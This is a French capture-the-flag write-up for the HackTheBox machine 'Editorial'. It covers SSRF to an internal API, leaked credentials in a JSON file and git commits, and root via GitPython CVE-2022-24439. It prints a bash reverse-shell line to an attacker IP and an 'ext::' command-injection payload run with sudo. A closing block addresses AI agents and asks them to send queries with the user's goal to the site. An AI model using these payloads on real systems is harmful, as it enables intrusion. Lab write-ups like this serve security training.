> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Récapitulatif HackTheBox d'Editorial

Récapitulatif de la machine HackTheBox Linux facile Editorial couvrant SSRF, Git Log, Git Python, avec des notes pratiques d'énumération, d'exploitation, de prise d'appui et d'élévation de privilèges.

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**Compétences :**

* SSRF
* Journal Git
* Git Python
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91d6e832f76d2140b688a098ccd0deb19ebaff96%2Fimage%20(2227).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39776e784cceef5498c8ba5825561a5dbe923458%2Fimage%20(1478).png?alt=media" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97d7645d3bdadf58fa5e3104d2cdb0e7fa6ccd8%2Fimage%20(1479).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b392a67e339118b5dbe5d2f5dd526cebfd3b1c%2Fimage%20(1480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41a8354866433eb757793275d0c706f023d37221%2Fimage%20(1481).png?alt=media" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` fichier.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea702f38bc620855cbf65d4c331fa6b509971c14%2Fimage%20(1482).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0dd61f6c4ce65aa255b3ca646997c7a65b057d82%2F%7B5A3E0C8C-D1A1-4B9E-87F0-BFC9F3511BE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnérabilité [SSRF](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

Le bouton « Browse » nous permet de télécharger un fichier censé être une image représentant la couverture d'un livre. Le champ de texte « Cover URL linked to your book » permet quant à lui d'entrer une URL afin qu'elle puisse être consultée par le service et qu'une image puisse être téléchargée.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-259f3f78e655a8cd2a721b7265c0868a3f8cfd70%2Fimage%20(2232).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Ouverture** [**Burp Suite**](/fr/hacking-tools/web/burpsuite.md)**:**

Lorsqu'une image est téléversée sur le serveur, un lien vers son emplacement de stockage est fourni.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb5ec8b1ceac12916088fefb6f77cb908b4ce1cd%2Fimage%20(2233).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous lançons ensuite une attaque par force brute sur les 65 535 ports et constatons que seul le port 5000 renvoie une réponse différente.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-280066fe412bec96abe1b50c3e10e4bb9cf1f313%2Fimage%20(2234).png?alt=media" alt=""><figcaption></figcaption></figure>

En vérifiant le contenu du port interne 5000, nous découvrons qu'il permet de télécharger un fichier.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee3c513aa0a6d465c6f545582698ccff048a2526%2Fimage%20(2235).png?alt=media" alt=""><figcaption></figcaption></figure>

Ce fichier, au format JSON, répertorie les API internes avec leurs routes associées. Parmi elles, la `message/authors` route semble particulièrement critique.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c34b4481608193cc7ea3c11419b877740924604%2Fimage%20(2238).png?alt=media" alt=""><figcaption></figcaption></figure>

Avec Burp Suite, nous accédons donc au fichier via le port 5000 à l'adresse suivante :

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f08219a35902676466733c842c69c19c70985fb2%2Fimage%20(2240).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2102d6cb0943845aa378bdf9dbd1e9321a189a47%2Fimage%20(2241).png?alt=media" alt=""><figcaption></figcaption></figure>

Dans ce fichier, nous trouvons également un identifiant et un mot de passe en clair `dev:dev080217_devAPI!@`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2765810dd3026cc971f04f81fbba9b0fdd72b2a%2Fimage%20(2242).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous essayons ensuite de nous connecter à `SSH` via le port 22, qui est ouvert, et parvenons à obtenir le flag utilisateur.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f65bef1b601852f33cd47a50b22db9b2b7dc8b%2Fimage%20(2239).png?alt=media" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

#### Après avoir accédé au serveur Linux, il est recommandé d'exécuter les commandes suivantes dans le terminal afin d'optimiser l'efficacité et le confort de travail :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

En nous plaçant à la racine du système, nous constatons la présence de deux utilisateurs : **dev** et **prod**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-942393463689becb05c753d2ea1f18cfdb44b238%2Fimage%20(1465).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

L’utilisateur **dev** a deux dossiers visibles et un dossier caché nommé « git ». En exécutant la `git log` commande, nous observons deux commits distincts.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26287b00d35326f41d505a0f6da3ddb10f96431c%2Fimage%20(1464).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c30a3c7411c2478a3ba83af9bb58752dea275271%2Fimage%20(1466).png?alt=media" alt=""><figcaption></figcaption></figure>

Parmi ces commits, le mot de passe de l'utilisateur **prod** apparaît en clair : `prod:080217_Producti0n_2023!@`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f13dc1e16dcc6da452cd1d0052b19db00cc3ce9%2Fimage%20(1467).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous nous connectons ensuite via SSH en tant qu'utilisateur **prod**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2fcaa65a841b9aac04eaa5e8dbfb092bfc4df2%2Fimage%20(1468).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers :

En exécutant la `sudo -l` commande, nous découvrons que nous avons la possibilité d'exécuter un script en tant que **root**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd2b230bb0ff5d49a8b5ef71d7b954ebd844a10%2Fimage%20(1470).png?alt=media" alt=""><figcaption></figcaption></figure>

Une version vulnérable de la bibliothèque Git, identifiée par la `clone_from` fonction, est présente. En affichant la liste des paquets Python avec `pip3 list`, nous remarquons que **GitPython 3.1.29** est installée, une version connue pour la vulnérabilité **CVE-2022-24439**, qui permet l'exécution de code arbitraire. Cette faille peut être exploitée comme suit :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3154ff277bb9f3235fabaae18e71013083c8853%2Fimage%20(1471).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Nous allons créer un script d'exploitation dans le répertoire temporaire pour obtenir un shell inversé :

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7120311cf7114d2d87bb1e0305c66a029557c355%2Fimage%20(1475).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Ensuite, sur notre machine, nous écoutons sur le port 4444 en utilisant **netcat**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce3b29b6e61a22f094b76774c66008acfd4a5203%2Fimage%20(1474).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

Enfin, nous exécutons le binaire avec **sudo**, en ajoutant notre charge utile :

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### Flag root : )

<div align="right"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9909f06029e6b08e613e66ff05f011c80d899157%2Fimage%20(1476).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30eeacca75f027f1efbe38d4438d65d7a462635a%2Fimage%20(1416).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
